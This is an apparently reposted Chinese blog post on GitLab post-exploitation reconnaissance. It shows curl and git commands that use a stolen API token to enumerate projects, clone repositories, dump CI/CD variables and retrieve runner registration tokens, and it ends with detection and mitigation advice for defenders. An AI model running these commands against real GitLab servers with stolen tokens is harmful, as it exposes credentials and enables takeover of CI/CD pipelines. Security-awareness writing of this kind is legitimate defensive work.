Gitlab侦察介绍 Gitlab渗透测试思路

Gitlab侦察介绍 Gitlab渗透测试思路

尽管 Gitlab 不像 Github 那样流行,但如今运行它是很常见的。尤其是在微软收购 Github 之后,似乎有更多的个人和组织涌向 Gitlab。

在这篇文章中,我想记录一些在后渗透很有用的侦察命令,供蓝队队员注意。

让我们假设一个人可以访问 Gitlab 令牌作为前体。让我们通过一些有趣的命令和脚本片段来了解更多信息。

找到一个 Gitlab 令牌 – 接下来怎么办?

首先,让我们定义几个将重复使用的环境变量。

TOKEN=$(cat .token)
GITLAB_HOST=[yourserver]
GITLAB_API="https://$GITLAB_HOST/api/v4"

就是这样,这些变量是不言自明的。

我是谁?

一旦找到令牌,第一个明显的命令就是检查它属于哪个用户。

curl --silent --header "Authorization: Bearer $TOKEN" "$GITLAB_API/user" | jq .username

注意:也可以为PRIVATE-TOKENGitlab 实例提供专用的 HTTP 标头。Gitlab 在此处记录了更多有用的信息。

Gitlab侦察介绍 Gitlab渗透测试思路

检索项目

使用有效的令牌可以枚举项目:

curl --silent --header "Authorization: Bearer $TOKEN" \
     "$GITLAB_API/projects/owned=true&simple=true&per_page=100" | jq 

攻击者可能会寻找他们“拥有”的项目,因此他们可以进行签入,例如签入.gitlab-ci.yml文件以修改/创建 CI/CD 管道。

假设你有一个令牌列表(我们毕竟是红队成员),也可以循环调用 API,如下所示:

TOKENS=$(cat .tokens)
for T in $TOKENS
do
    curl --silent --header "Authorization: Bearer $T" \
         "$GITLAB_API/projects/owned=true&simple=true&per_page=100" | jq 
done

将此信息通过管道传输到文件中以供以后分析也可能很有用。

克隆项目

源代码通常包含明文凭据。为了在代码中搜索秘密和其他信息,Gitlab 提供了利用 API 令牌git从服务器拉取项目的能力。

以下是实际效果:

PROJ_PATH=MyProject/KoiPhish/KoiPhish.git
git -C ./src/ clone "https://gitlab-ci-token:[email protected]$GITLAB_HOST/$PROJ_PATH

注意gitlab-ci-tokenURL 中的用户名。还有其他几种方法可以做到这一点。同样,请参阅Gitlab 文档以获取更多详细信息。

枚举 Gitlab CI/CD 变量

Gitlab CI/CD 变量很棒!为什么?因为通常也包含明文秘密!

枚举它们的命令是:

PROJECT_ID=123
curl --silent \
     --header "Authorization: Bearer $TOKEN" \ 
     "$GITLAB_API/projects/$PROJECT_ID/variables" | jq 

攻击者可能会在 CI/CD 变量中找到有趣的密码、令牌或访问密钥。

提示:工程师可以保护他们的变量而不是广泛暴露它们。例如,可以使用只能从某些分支访问的受保护变量。

组和实例级变量

等等,还有更多:

运行者令牌

在项目详细信息中,我还发现了一个runners_token.

PROJECT_ID=123
curl --silent --header "Authorization: Bearer $TOKEN" \
     "$GITLAB_API/projects/$PROJECT_ID" | jq .runners_token | jq 

来自 Gitlab 文档:

注册后,运行者会收到一个身份验证令牌,当从作业队列中提取作业时,它会使用该令牌对 GitLab 进行身份验证。身份验证令牌本地存储在运行程序的 config.toml 文件中。

最初我假设该令牌是身份验证令牌,但它实际上是注册令牌

我花了一段时间才意识到这一点。最初,我尝试使用以下方法将令牌验证为身份验证令牌:

curl --request POST "$GITLAB_API/runners/verify" --form "token=$RUNNER_TOKEN"

但这没有用。然后我意识到这runners_token是项目 CI/CD 管道页面中显示的注册令牌。因此,获得访问权限意味着您可以注册自己的RUNNER!

更多关于 Runners 注册如何工作的信息可以在这里找到。

有趣的是,就在两天前,Gitlab 发布了一个关于 Runner Registration Tokens的关键 CVE 。

SSH 密钥

管理员还可以为用户获取 SSH 密钥——我还没有尝试过,但似乎这些功能之一不应该存在,我想指出这一点。

检测访问异常和缓解措施

在较高的层面上,防御者面临的最大挑战是,令牌何时被盗并不明显,无论其使用是否来自合法用户。

  • 对于 Blue Teamers 而言,识别访问异常是识别令牌是否已泄漏并被对手积极滥用的好方法。
  • 使用受保护的分支和受保护的变量也可以帮助限制暴露——因此请教育您的工程师并利用它们。

Gitlab 文档页面上有很多关于如何锁定令牌和运行器的有用信息,因此请查看那里的信息以获取更多详细信息。

结论

这是关于基于 Gitlab 的侦察和 CI/CD 攻击的简短介绍。攻击者滥用 DevOps 基础设施确实有很多有趣的途径。一旦获得对 DevOps 基础设施的访问权限,就有大量信息可供访问。请留意,因为我将发布更多有趣的研究。

参考

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。